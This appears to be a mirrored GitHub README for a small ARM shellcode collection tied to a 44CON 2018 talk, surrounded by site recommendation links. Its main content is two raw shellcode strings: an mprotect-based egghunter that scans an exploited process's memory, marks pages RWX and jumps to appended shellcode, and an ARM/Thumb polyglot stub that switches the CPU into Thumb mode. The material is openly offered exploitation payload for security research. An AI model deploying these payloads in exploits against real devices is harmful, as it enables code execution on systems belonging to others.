Coder Social home page Coder Social logo

arm_shellcode's Introduction

ARM Shellcode

1. mprotect egghunter

  • Searches for an EGG (4+4 byte value) in the memory of the exploited process.
  • Uses mprotect() to test the presence of pages in the virtual memory space of the target process.
  • mprotect() also marks pages RWX as it scans the virtual memory space.
  • Upon finding the pre-defined EGG occuring at consecutive locations, the mprotect egghunter passes on the execution control to the shellcode appended to the eggs.

RAW SHELLCODE:

$mprotect_egghunter = "\x01\x10\x8f\xe2\x11\xff\x2f\xe1" .
                      "\x6d\x40\x7d\x27\x01\x21\x09\x03" .
                      "\x07\x22\x28\x1c\x01\xdf\x0c\x30" .
                      "\x01\xd1\x6d\x18\xf9\xe7\x6e\x18" .
                      "\x05\x48\x2b\x68\x04\x35\xb5\x42" .
                      "\xf3\xd0\x2c\x68\x98\x42\xf8\xd1" .
                      "\xa3\x42\xf6\xd1\x04\x35\x28\x47" .
                      "HACK";

2. Quantum Leap code

  • ARM/Thumb Polyglot code.
  • Can be started in ARM mode or Thumb mode.
  • Irrespective of the mode it is started in, the Quantum Leap code will switch the CPU to Thumb mode and proceed to execute any Thumb shellcode appended to it.

RAW SHELLCODE:

$quantum_leap_stub =  "\x19\xa0\x8f\x22\x15\xa0\x8f\x32" .
                      "\x0d\x40\xa0\x21\x0d\x40\xa0\x31" .
                      "\x12\x04\x2d\x29\x12\x04\x2d\x39" .
                      "\x02\xa0\xbd\x28\x02\xa0\xbd\x38";

For more details please browse through my 44CON 2018 presentation titled "Make ARM Shellcode Great Again" at https://www.slideshare.net/saumilshah/make-arm-shellcode-great-again

@therealsaumil

arm_shellcode's People

Contributors

therealsaumil avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.